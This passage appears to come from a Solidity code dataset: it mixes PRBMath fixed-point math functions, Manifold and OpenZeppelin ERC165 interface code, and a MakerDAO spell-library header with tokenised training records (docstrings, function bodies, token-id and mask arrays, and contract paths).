} if (x & 0x200 > 0) { result = (result * 0x10000000000000163) >> 64; } if (x & 0x100 > 0) { result = (result * 0x100000000000000B1) >> 64; } if (x & 0x80 > 0) { result = (result * 0x10000000000000059) >> 64; } if (x & 0x40 > 0) { result = (result * 0x1000000000000002C) >> 64; } if (x & 0x20 > 0) { result = (result * 0x10000000000000016) >> 64; } if (x & 0x10 > 0) { result = (result * 0x1000000000000000B) >> 64; } if (x & 0x8 > 0) { result = (result * 0x10000000000000006) >> 64; } if (x & 0x4 > 0) { result = (result * 0x10000000000000003) >> 64; } if (x & 0x2 > 0) { result = (result * 0x10000000000000001) >> 64; } if (x & 0x1 > 0) { result = (result * 0x10000000000000001) >> 64; } // We're doing two things at the same time: // // 1. Multiply the result by 2^n + 1, where "2^n" is the integer part and the one is added to account for // the fact that we initially set the result to 0.5. This is accomplished by subtracting from 191 // rather than 192. // 2. Convert the result to the unsigned 60.18-decimal fixed-point format. // // This works because 2^(191-ip) = 2^ip / 2^191, where "ip" is the integer part "2^n". result *= SCALE; result >>= (191 - (x >> 64)); } } /// @notice Finds the zero-based index of the first one in the binary representation of x. /// @dev See the note on msb in the "Find First Set" Wikipedia article https://en.wikipedia.org/wiki/Find_first_set /// @param x The uint256 number for which to find the index of the most significant bit. /// @return msb The index of the most significant bit as an uint256. function mostSignificantBit(uint256 x) internal pure returns (uint256 msb) { if (x >= 2**128) { x >>= 128; msb += 128; } if (x >= 2**64) { x >>= 64; msb += 64; } if (x >= 2**32) { x >>= 32; msb += 32; } if (x >= 2**16) { x >>= 16; msb += 16; } if (x >= 2**8) { x >>= 8; msb += 8; } if (x >= 2**4) { x >>= 4; msb += 4; } if (x >= 2**2) { x >>= 2; msb += 2; } if (x >= 2**1) { // No need to shift x any more. msb += 1; } } /// @notice Calculates floor(x*y÷denominator) with full precision. /// /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv. /// /// Requirements: /// - The denominator cannot be zero. /// - The result must fit within uint256. /// /// Caveats: /// - This function does not work with fixed-point numbers. /// /// @param x The multiplicand as an uint256. /// @param y The multiplier as an uint256. /// @param denominator The divisor as an uint256. /// @return result The result as an uint256. function mulDiv( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { unchecked { result = prod0 / denominator; } return result; } // Make sure the result is less than 2^256. Also prevents denominator == 0. if (prod1 >= denominator) { revert PRBMath__MulDivOverflow(prod1, denominator); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. unchecked { // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 lpotdod = denominator & (~denominator + 1); assembly { // Divide denominator by lpotdod. denominator := div(denominator, lpotdod) // Divide [prod1 prod0] by lpotdod. prod0 := div(prod0, lpotdod) // Flip lpotdod such that it is 2^256 / lpotdod. If lpotdod is zero, then it becomes one. lpotdod := add(div(sub(0, lpotdod), lpotdod), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * lpotdod; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /// @notice Calculates floor(x*y÷1e18) with full precision. /// /// @dev Variant of "mulDiv" with constant folding, i.e. in which the denominator is always 1e18. Before returning the /// final result, we add 1 if (x * y) % SCALE >= HALF_SCALE. Without this, 6.6e-19 would be truncated to 0 instead of /// being rounded to 1e-18. See "Listing 6" and text above it at https://accu.org/index.php/journals/1717. /// /// Requirements: /// - The result must fit within uint256. /// /// Caveats: /// - The body is purposely left uncommented; see the NatSpec comments in "PRBMath.mulDiv" to understand how this works. /// - It is assumed that the result can never be type(uint256).max when x and y solve the following two equations: /// 1. x * y = type(uint256).max * SCALE /// 2. (x * y) % SCALE >= SCALE / 2 /// /// @param x The multiplicand as an unsigned 60.18-decimal fixed-point number. /// @param y The multiplier as an unsigned 60.18-decimal fixed-point number. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function mulDivFixedPoint(uint256 x, uint256 y) internal pure returns (uint256 result) { uint256 prod0; uint256 prod1; assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } if (prod1 >= SCALE) { revert PRBMath__MulDivFixedPointOverflow(prod1); } uint256 remainder; uint256 roundUpUnit; assembly { remainder := mulmod(x, y, SCALE) roundUpUnit := gt(remainder, 499999999999999999) } if (prod1 == 0) { unchecked { result = (prod0 / SCALE) + roundUpUnit; return result; } } assembly { result := add( mul( or( div(sub(prod0, remainder), SCALE_LPOTD), mul(sub(prod1, gt(remainder, prod0)), add(div(sub(0, SCALE_LPOTD), SCALE_LPOTD), 1)) ), SCALE_INVERSE ), roundUpUnit ) } } /// @notice Calculates floor(x*y÷denominator) with full precision. /// /// @dev An extension of "mulDiv" for signed numbers. Works by computing the signs and the absolute values separately. /// /// Requirements: /// - None of the inputs can be type(int256).min. /// - The result must fit within int256. /// /// @param x The multiplicand as an int256. /// @param y The multiplier as an int256. /// @param denominator The divisor as an int256. /// @return result The result as an int256. function mulDivSigned( int256 x, int256 y, int256 denominator ) internal pure returns (int256 result) { if (x == type(int256).min || y == type(int256).min || denominator == type(int256).min) { revert PRBMath__MulDivSignedInputTooSmall(); } // Get hold of the absolute values of x, y and the denominator. uint256 ax; uint256 ay; uint256 ad; unchecked { ax = x < 0 ? uint256(-x) : uint256(x); ay = y < 0 ? uint256(-y) : uint256(y); ad = denominator < 0 ? uint256(-denominator) : uint256(denominator); } // Compute the absolute value of (x*y)÷denominator. The result must fit within int256. uint256 rAbs = mulDiv(ax, ay, ad); if (rAbs > uint256(type(int256).max)) { revert PRBMath__MulDivSignedOverflow(rAbs); } // Get the signs of x, y and the denominator. uint256 sx; uint256 sy; uint256 sd; assembly { sx := sgt(x, sub(0, 1)) sy := sgt(y, sub(0, 1)) sd := sgt(denominator, sub(0, 1)) } // XOR over sx, sy and sd. This is checking whether there are one or three negative signs in the inputs. // If yes, the result should be negative. result = sx ^ sy ^ sd == 0 ? -int256(rAbs) : int256(rAbs); } /// @notice Calculates the square root of x, rounding down. /// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method. /// /// Caveats: /// - This function does not work with fixed-point numbers. /// /// @param x The uint256 number for which to calculate the square root. /// @return result The result as an uint256. function sqrt(uint256 x) internal pure returns (uint256 result) { if (x == 0) { return 0; } // Set the initial guess to the least power of two that is greater than or equal to sqrt(x). uint256 xAux = uint256(x); result = 1; if (xAux >= 0x100000000000000000000000000000000) { xAux >>= 128; result <<= 64; } if (xAux >= 0x10000000000000000) { xAux >>= 64; result <<= 32; } if (xAux >= 0x100000000) { xAux >>= 32; result <<= 16; } if (xAux >= 0x10000) { xAux >>= 16; result <<= 8; } if (xAux >= 0x100) { xAux >>= 8; result <<= 4; } if (xAux >= 0x10) { xAux >>= 4; result <<= 2; } if (xAux >= 0x8) { result <<= 1; } // The operations can never overflow because the result is max 2^127 when it enters this block. unchecked { result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; // Seven iterations should be enough uint256 roundedDownResult = x / result; return result >= roundedDownResult ? roundedDownResult : result; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol"; import "../../LegacyInterfaces.sol"; import "../SingleCreatorExtensionBase.sol"; /** * @dev Extension that only uses a single creator contract instance */ abstract contract ERC721SingleCreatorExtensionBase is SingleCreatorExtensionBase { function _setCreator(address creator) internal override { require(ERC165Checker.supportsInterface(creator, type(IERC721CreatorCore).interfaceId) || ERC165Checker.supportsInterface(creator, LegacyInterfaces.IERC721CreatorCore_v1), "Creator contract must implement IERC721CreatorCore"); super._setCreator(creator); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Core creator interface */ interface ICreatorCore is IERC165 { event ExtensionRegistered(address indexed extension, address indexed sender); event ExtensionUnregistered(address indexed extension, address indexed sender); event ExtensionBlacklisted(address indexed extension, address indexed sender); event MintPermissionsUpdated(address indexed extension, address indexed permissions, address indexed sender); event RoyaltiesUpdated(uint256 indexed tokenId, address payable[] receivers, uint256[] basisPoints); event DefaultRoyaltiesUpdated(address payable[] receivers, uint256[] basisPoints); event ExtensionRoyaltiesUpdated(address indexed extension, address payable[] receivers, uint256[] basisPoints); event ExtensionApproveTransferUpdated(address indexed extension, bool enabled); /** * @dev gets address of all extensions */ function getExtensions() external view returns (address[] memory); /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI) external; /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external; /** * @dev add an extension. Can only be called by contract owner or admin. * Returns True if removed, False if already removed. */ function unregisterExtension(address extension) external; /** * @dev blacklist an extension. Can only be called by contract owner or admin. * This function will destroy all ability to reference the metadata of any tokens created * by the specified extension. It will also unregister the extension if needed. * Returns True if removed, False if already removed. */ function blacklistExtension(address extension) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. */ function setBaseTokenURIExtension(string calldata uri) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURIExtension(string calldata uri, bool identical) external; /** * @dev set the common prefix of an extension. Can only be called by extension. * If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefixExtension(string calldata prefix) external; /** * @dev set the tokenURI of a token extension. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of a token extension for multiple tokens. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256[] memory tokenId, string[] calldata uri) external; /** * @dev set the baseTokenURI for tokens with no extension. Can only be called by owner/admin. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURI(string calldata uri) external; /** * @dev set the common prefix for tokens with no extension. Can only be called by owner/admin. * If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefix(string calldata prefix) external; /** * @dev set the tokenURI of a token with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of multiple tokens with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external; /** * @dev set a permissions contract for an extension. Used to control minting. */ function setMintPermissions(address extension, address permissions) external; /** * @dev Configure so transfers of tokens created by the caller (must be extension) gets approval * from the extension before transferring */ function setApproveTransferExtension(bool enabled) external; /** * @dev get the extension of a given token */ function tokenExtension(uint256 tokenId) external view returns (address); /** * @dev Set default royalties */ function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of a token */ function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of an extension */ function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Get royalites of a token. Returns list of receivers and basisPoints */ function getRoyalties(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); // Royalty support for various other standards function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory); function getFeeBps(uint256 tokenId) external view returns (uint[] memory); function getFees(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); function royaltyInfo(uint256 tokenId, uint256 value) external view returns (address, uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz /** * @dev Extension that only uses a single creator contract instance */ abstract contract SingleCreatorExtensionBase { address internal _creator; /** * @dev Override with appropriate interface checks if necessary */ function _setCreator(address creator) internal virtual { _creator = creator; } function creatorContract() public view returns(address) { return _creator; } } // SPDX-License-Identifier: BSD-4-Clause pragma solidity ^0.8.0; /// @author: manifold.xyz /** * Library of legacy interface constants */ library LegacyInterfaces { // LEGACY ERC721CreatorCore interface bytes4 internal constant IERC721CreatorCore_v1 = 0x478c8530; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } }
@notice Calculates geometric mean of x and y, i.e. sqrt(x * y), rounding down. @dev Requirements: - x * y must fit within MAX_SD59x18, lest it overflows. - x * y cannot be negative. @param x The first operand as a signed 59.18-decimal fixed-point number. @param y The second operand as a signed 59.18-decimal fixed-point number. @return result The result as a signed 59.18-decimal fixed-point number. Checking for overflow this way is faster than letting Solidity do it. The product cannot be negative.
function gm(int256 x, int256 y) internal pure returns (int256 result) { if (x == 0) { return 0; } unchecked { int256 xy = x * y; if (xy / x != y) { revert PRBMathSD59x18__GmOverflow(x, y); } if (xy < 0) { revert PRBMathSD59x18__GmNegativeProduct(x, y); } } }
10,297,531
[ 1, 10587, 7364, 1591, 3722, 434, 619, 471, 677, 16, 277, 18, 73, 18, 5700, 12, 92, 225, 677, 3631, 13885, 2588, 18, 225, 29076, 30, 300, 619, 225, 677, 1297, 4845, 3470, 4552, 67, 9903, 6162, 92, 2643, 16, 328, 395, 518, 9391, 87, 18, 300, 619, 225, 677, 2780, 506, 6092, 18, 225, 619, 1021, 1122, 9886, 487, 279, 6726, 14995, 18, 2643, 17, 12586, 5499, 17, 1153, 1300, 18, 225, 677, 1021, 2205, 9886, 487, 279, 6726, 14995, 18, 2643, 17, 12586, 5499, 17, 1153, 1300, 18, 327, 563, 1021, 563, 487, 279, 6726, 14995, 18, 2643, 17, 12586, 5499, 17, 1153, 1300, 18, 24471, 364, 9391, 333, 4031, 353, 12063, 2353, 2231, 1787, 348, 7953, 560, 741, 518, 18, 1021, 3017, 2780, 506, 6092, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14125, 12, 474, 5034, 619, 16, 509, 5034, 677, 13, 2713, 16618, 1135, 261, 474, 5034, 563, 13, 288, 203, 3639, 309, 261, 92, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 22893, 288, 203, 5411, 509, 5034, 7668, 273, 619, 380, 677, 31, 203, 5411, 309, 261, 1698, 342, 619, 480, 677, 13, 288, 203, 7734, 15226, 11770, 38, 10477, 9903, 6162, 92, 2643, 972, 43, 81, 15526, 12, 92, 16, 677, 1769, 203, 5411, 289, 203, 203, 5411, 309, 261, 1698, 411, 374, 13, 288, 203, 7734, 15226, 11770, 38, 10477, 9903, 6162, 92, 2643, 972, 43, 81, 14959, 4133, 12, 92, 16, 677, 1769, 203, 5411, 289, 203, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x759bD20b2300C8bC0FaB47F1440971b63DA9338D/sources/contracts/BourbonNBlockchainFee.sol
* @dev Function allowing anyone to view the payment history for an address and tokenId @param addr address of the NFT holder @param tokenId tokenId of the NFT/
function getPaymentsByAddrToken(address addr, uint256 tokenId) public view returns (Payment[] memory) { return payments[addr][tokenId]; }
5,597,715
[ 1, 2083, 15632, 1281, 476, 358, 1476, 326, 5184, 4927, 364, 392, 1758, 471, 1147, 548, 225, 3091, 1758, 434, 326, 423, 4464, 10438, 225, 1147, 548, 1147, 548, 434, 326, 423, 4464, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 528, 1346, 858, 3178, 1345, 12, 2867, 3091, 16, 2254, 5034, 1147, 548, 13, 1071, 1476, 1135, 261, 6032, 8526, 3778, 13, 288, 203, 3639, 327, 25754, 63, 4793, 6362, 2316, 548, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// hevm: flattened sources of src/DssSpell.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity =0.6.12 >=0.6.12 <0.7.0; pragma experimental ABIEncoderV2; ////// lib/dss-exec-lib/src/CollateralOpts.sol /* pragma solidity ^0.6.12; */ struct CollateralOpts { bytes32 ilk; address gem; address join; address clip; address calc; address pip; bool isLiquidatable; bool isOSM; bool whitelistOSM; uint256 ilkDebtCeiling; uint256 minVaultAmount; uint256 maxLiquidationAmount; uint256 liquidationPenalty; uint256 ilkStabilityFee; uint256 startingPriceFactor; uint256 breakerTolerance; uint256 auctionDuration; uint256 permittedDrop; uint256 liquidationRatio; uint256 kprFlatReward; uint256 kprPctReward; } ////// lib/dss-exec-lib/src/DssExecLib.sol // // DssExecLib.sol -- MakerDAO Executive Spellcrafting Library // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ /* pragma experimental ABIEncoderV2; */ /* import { CollateralOpts } from "./CollateralOpts.sol"; */ interface Initializable { function init(bytes32) external; } interface Authorizable { function rely(address) external; function deny(address) external; } interface Fileable { function file(bytes32, address) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, bytes32, address) external; } interface Drippable { function drip() external returns (uint256); function drip(bytes32) external returns (uint256); } interface Pricing { function poke(bytes32) external; } interface ERC20 { function decimals() external returns (uint8); } interface DssVat { function hope(address) external; function nope(address) external; function ilks(bytes32) external returns (uint256 Art, uint256 rate, uint256 spot, uint256 line, uint256 dust); function Line() external view returns (uint256); function suck(address, address, uint) external; } interface ClipLike { function vat() external returns (address); function dog() external returns (address); function spotter() external view returns (address); function calc() external view returns (address); function ilk() external returns (bytes32); } interface JoinLike { function vat() external returns (address); function ilk() external returns (bytes32); function gem() external returns (address); function dec() external returns (uint256); function join(address, uint) external; function exit(address, uint) external; } // Includes Median and OSM functions interface OracleLike_2 { function src() external view returns (address); function lift(address[] calldata) external; function drop(address[] calldata) external; function setBar(uint256) external; function kiss(address) external; function diss(address) external; function kiss(address[] calldata) external; function diss(address[] calldata) external; function orb0() external view returns (address); function orb1() external view returns (address); } interface MomLike_1 { function setOsm(bytes32, address) external; function setPriceTolerance(address, uint256) external; } interface RegistryLike { function add(address) external; function xlip(bytes32) external view returns (address); } // https://github.com/makerdao/dss-chain-log interface ChainlogLike { function setVersion(string calldata) external; function setIPFS(string calldata) external; function setSha256sum(string calldata) external; function getAddress(bytes32) external view returns (address); function setAddress(bytes32, address) external; function removeAddress(bytes32) external; } interface IAMLike { function ilks(bytes32) external view returns (uint256,uint256,uint48,uint48,uint48); function setIlk(bytes32,uint256,uint256,uint256) external; function remIlk(bytes32) external; function exec(bytes32) external returns (uint256); } interface LerpFactoryLike { function newLerp(bytes32 name_, address target_, bytes32 what_, uint256 startTime_, uint256 start_, uint256 end_, uint256 duration_) external returns (address); function newIlkLerp(bytes32 name_, address target_, bytes32 ilk_, bytes32 what_, uint256 startTime_, uint256 start_, uint256 end_, uint256 duration_) external returns (address); } interface LerpLike { function tick() external; } library DssExecLib { /* 